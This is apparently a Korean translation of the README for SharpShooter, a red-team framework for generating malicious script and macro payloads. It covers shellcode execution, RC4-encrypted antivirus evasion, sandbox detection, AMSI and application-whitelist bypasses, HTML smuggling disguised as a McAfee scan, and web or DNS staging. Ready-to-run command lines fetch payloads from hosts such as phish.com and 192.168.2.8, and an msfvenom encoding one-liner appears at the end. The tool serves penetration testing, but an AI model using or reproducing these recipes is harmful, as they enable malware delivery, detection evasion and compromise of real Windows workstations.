mdsecactivebreach/sharpshooter페이로드 생성 프레임워크
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooter는 임의의 CSharp 소스 코드를 검색 및 실행하기 위한 페이로드 생성 프레임워크입니다.
SharpShooter는 HTA, JS, VBS, WSF 등 다양한 형식의 페이로드를 생성할 수 있습니다. James Forshaw의 DotNetToJavaScript 도구를 활용하여 SharpShooter DotNet 직렬화 객체에서 메서드를 호출합니다. 페이로드는 웹 또는 DNS 전송, 혹은 둘 다를 사용하여 검색할 수 있습니다. SharpShooter는 MDSec ActiveBreach PowerDNS 프로젝트와 호환됩니다. 또한, 임베디드 셸코드 실행이 포함된 스테이지리스 페이로드도 동일한 스크립팅 형식으로 생성할 수 있습니다.
SharpShooter 페이로드는 무작위 키로 RC4 암호화되어 어느 정도의 안티바이러스 회피 기능을 제공하며, 프로젝트에는 샌드박스 탐지 및 환경 키잉 기능을 통합하여 탐지 회피를 지원하는 기능이 포함되어 있습니다.
SharpShooter는 스테이지형 및 스테이지리스 페이로드로 셸코드를 실행하기 위한 사전 정의된 CSharp 템플릿을 포함하고 있지만, CSharp의 CodeDom 공급자를 통해 모든 CSharp 코드를 컴파일하고 리플렉션을 사용하여 메모리에서 호출할 수 있습니다.
마지막으로, SharpShooter는 Demiguise HTML 스마글링 기술을 사용하여 페이로드를 HTML 파일 안에 번들로 제공하는 기능을 제공합니다.
SharpShooter는 대부분의 최종 사용자 Windows 워크스테이션에서 볼 수 있는 .NET 프레임워크 v2, v3, v4를 대상으로 합니다.
SharpShooter 1.0 버전에서는 COM 스테이징, Squiblydoo 및 Squiblytwo 실행, XSL 실행 등 여러 새로운 개념이 도입되었습니다. 이 새로운 기능을 구현하기 위해 --com, --awl, --awlurl 플래그가 추가되었습니다.
SharpShooter 2.0 버전에서는 AMSI 우회 모듈과 VBA 및 Excel 4 매크로 지원 문서 생성을 지원합니다.
자세한 내용은 MDSec 블로그 게시물에서 확인할 수 있습니다.
SharpShooter는 다양한 페이로드 유형, 샌드박스 회피, 전송 방법 및 출력 유형을 지원하여 고도로 구성 가능합니다.
SharpShooter를 --help 인수와 함께 실행하면 다음과 같은 출력이 생성됩니다:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
몇 가지 사용 예시는 아래에 제공됩니다:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
.NET 프레임워크 버전 4를 대상으로 하는 스테이지리스 JavaScript 페이로드를 생성합니다. 이 예제는 출력 디렉터리에 foo.js라는 페이로드를 생성합니다. 셸코드는 ./raw.txt 파일에서 읽어옵니다. 페이로드는 CONTOSO 도메인에 실행을 키잉하고 알려진 샌드박스/VM 아티팩트를 확인하여 샌드박스 회피를 강제합니다.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
.NET 프레임워크 버전 2/3을 대상으로 하는 스테이지리스 HTA 페이로드를 생성합니다. 이 예제는 출력 디렉터리에 foo.hta라는 페이로드를 생성합니다. 셸코드는 ./raw.txt 파일에서 읽어옵니다. 페이로드는 알려진 가상 MAC 주소를 확인하여 샌드박스 회피를 강제합니다. 또한 HTML 스마글링 페이로드가 생성되어 출력 디렉터리에 foo.html로 저장됩니다. 이 페이로드는 예제 McAfee 바이러스 검사 템플릿을 사용합니다.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
이 예제는 웹 및 DNS 전송을 모두 수행하는 스테이지드 VBS 페이로드를 생성합니다. 페이로드는 csharpsc.txt 파일에 CSharp 바이트 배열로 제공된 셸코드를 실행하는 GZip 압축 CSharp 파일을 검색하려고 시도합니다. 사용된 CSharp 파일은 내장된 SharpShooter 셸코드 실행 템플릿입니다. 페이로드는 출력 디렉터리에 foo.payload라는 이름으로 생성되며 http://www.foo.bar/shellcode.payload에서 호스팅되어야 합니다. 동일한 파일은 PowerDNS를 사용하여 제공하기 위해 bar.foo 도메인에서도 호스팅되어야 합니다. VBS 파일은 CONTOSO 도메인에 실행을 키잉하려고 시도하며, McAfee 바이러스 검사 템플릿을 사용한 HTML 스마글링 기술을 사용하여 HTML 파일에 포함됩니다. 결과 페이로드는 출력 디렉터리에 foo.html로 저장됩니다.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
이 예제는 웹 전송을 수행하고 http://www.phish.com/implant.payload에서 페이로드를 검색하는 스테이지드 JS 페이로드를 생성하는 방법을 보여줍니다. 생성된 페이로드는 샌드박스 회피를 시도하고, DLL 참조로 mscorlib.dll 및 System.Windows.Forms.dll을 필요로 하는 검색된 페이로드를 컴파일하려고 시도합니다. 성공적으로 컴파일되면 MDSec.SharpShooter 네임스페이스의 Main 메서드가 실행됩니다.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
이 예제는 Outlook.CreateObject() COM 메서드를 프리미티브로 사용하여 wmic.exe를 실행하여 호스팅된 스타일시트를 실행하는 VBS 스마글드 COM 스테이저를 생성합니다. --awl 매개변수는 기본적으로 사용되지 않으며 wmic를 사용합니다.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
이 예제는 XMLDOM COM 인터페이스를 사용하여 호스팅된 스타일시트를 검색하고 실행하는 HTA 스마글드 파일을 생성합니다.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
이 예제는 XMLDOM COM 인터페이스를 사용하여 호스팅된 스타일시트를 검색하고 실행하는 VBA 매크로 파일을 생성합니다.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
이 예제는 제공된 셸코드를 실행하고 HTML로 래핑하는 Excel 4.0 SLK 파일을 생성합니다. 셸코드는 null 바이트를 포함할 수 없습니다. 힌트:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
작성자: Dominic Chell, MDSec ActiveBreach @domchell 및 @mdseclabs
크레딧: